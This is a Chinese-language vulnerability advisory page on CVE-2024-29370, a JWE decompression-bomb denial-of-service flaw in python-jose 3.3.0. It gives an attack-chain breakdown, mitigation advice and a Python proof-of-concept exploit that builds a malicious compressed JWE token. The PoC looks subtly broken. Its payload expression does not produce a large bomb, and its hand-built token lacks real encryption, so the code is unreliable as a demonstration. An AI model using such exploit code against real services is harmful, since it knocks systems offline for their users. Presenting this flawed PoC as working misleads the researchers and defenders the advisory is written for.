IPBUF安全漏洞报告
English
CVE-2024-29370 CVSS 5.3 中危

CVE-2024-29370 python-jose JWE解密拒绝服务漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2024-29370
漏洞类型
拒绝服务 (DoS) - 压缩炸弹攻击
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
python-jose 3.3.0

相关标签

CVE-2024-29370python-jose拒绝服务压缩炸弹JWEDoSPython安全漏洞

漏洞概述

CVE-2024-29370是python-jose库中的一个拒绝服务漏洞,该库是Python中用于处理JSON Web Token (JWT)、JSON Web Signature (JWS)和JSON Web Encryption (JWE)的流行开源工具。漏洞存在于python-jose 3.3.0版本的jwe.decrypt功能中,攻击者可以构造具有极高压缩比的恶意JSON Web Encryption (JWE)令牌。当服务器处理这些恶意构造的JWE token时,会在解压缩过程中消耗大量内存和CPU资源,导致服务响应缓慢甚至完全不可用。这种攻击类似于传统的Zip炸弹攻击,但针对的是JWE令牌的压缩内容。攻击者无需任何认证即可发起攻击,且可以通过网络远程利用此漏洞。对于使用python-jose进行JWE令牌解密处理的Web应用和API服务构成严重威胁,可能导致应用程序崩溃或资源耗尽,影响正常用户的访问请求。

技术细节

python-jose库的JWE解密功能在处理压缩的JWE内容时存在安全缺陷。JWE标准支持使用DEFLATE算法压缩明文内容以减少传输大小,攻击者利用这一特性构造恶意JWE token。恶意token的压缩内容经过精心构造,解压后会产生远超原始数据的巨大输出(压缩比可达数十万比一)。当调用jose.jwe.decrypt()函数处理此类token时,库会在内存中执行完整的解压缩操作,分配大量内存并消耗CPU时间。对于高压缩比炸弹,可能导致数GB甚至数十GB的内存分配,最终触发OutOfMemoryError或导致系统swap频繁,性能严重下降。攻击者可以通过向暴露JWE解密接口的API发送精心构造的请求来触发漏洞,无需任何身份验证即可实现DoS攻击。修复方案通常包括限制解压缩后的数据大小、对压缩内容进行预检查或限制解压算法的资源使用。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者识别使用python-jose库处理JWE令牌的Web应用或API服务
STEP 2
步骤2: 构造恶意JWE
攻击者创建具有极高压缩比的恶意JWE token,使用DEF压缩算法和精心构造的小型压缩内容
STEP 3
步骤3: 发送攻击请求
攻击者通过HTTP/HTTPS请求向目标服务的JWE解密接口发送恶意构造的JWE token
STEP 4
步骤4: 触发解压缩炸弹
服务器调用python-jose的jwe.decrypt()函数处理token,在解压缩过程中分配大量内存
STEP 5
步骤5: 资源耗尽
恶意token导致内存耗尽或CPU过载,服务响应变慢或完全不可用,实现拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2024-29370 PoC - python-jose JWE Decompression DoS This PoC demonstrates the decompression bomb vulnerability in python-jose 3.3.0 """ from jose import jwe import base64 import zlib import json def create_decompression_bomb(): """ Create a malicious JWE token with high compression ratio The decompressed content can be extremely large (zip bomb style) """ # Create a small payload that expands massively when decompressed # Using repeated patterns that compress extremely well small_payload = b'{"data": "' + b'A' * 100000 + b'"}' * 10 # Compress the payload using DEFLATE compressed = zlib.compress(small_payload, level=9) # Create JWE structure with the compressed content # This follows the JWE standard format jwe_header = { "alg": "A128KW", "enc": "A128CBC-HS256", "zip": "DEF" # Enable compression } # Encode header header_b64 = base64.urlsafe_b64encode( json.dumps(jwe_header).encode() ).decode().rstrip('=') # The compressed content becomes the JWE ciphertext ciphertext_b64 = base64.urlsafe_b64encode(compressed).decode().rstrip('=') # Create the JWE token format jwe_token = f"{header_b64}....{ciphertext_b64}" return jwe_token def exploit(target_token): """ Attempt to decrypt the malicious JWE token This will cause high memory/CPU usage """ try: # This call may hang or crash due to decompression bomb plaintext = jwe.decrypt(target_token, 'secret-key') return plaintext except Exception as e: return f"Error: {e}" if __name__ == "__main__": print("[*] Generating malicious JWE token for CVE-2024-29370") bomb_token = create_decompression_bomb() print(f"[*] Token length: {len(bomb_token)} bytes") print("[*] Attempting to decrypt (may cause DoS)...") result = exploit(bomb_token) print(f"[*] Result: {result}")

影响范围

python-jose 3.3.0 (jwe.decrypt功能)
可能影响其他3.x版本

防御指南

临时缓解措施
在未完成官方补丁升级前,可采取以下临时缓解措施:1) 限制JWE令牌的请求大小;2) 对JWE解密操作设置严格的超时和内存限制;3) 使用应用层防火墙过滤异常JWE请求;4) 将JWE解密功能部署在隔离的沙箱或容器环境中,限制资源使用;5) 实施请求频率限制和IP黑名单机制。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表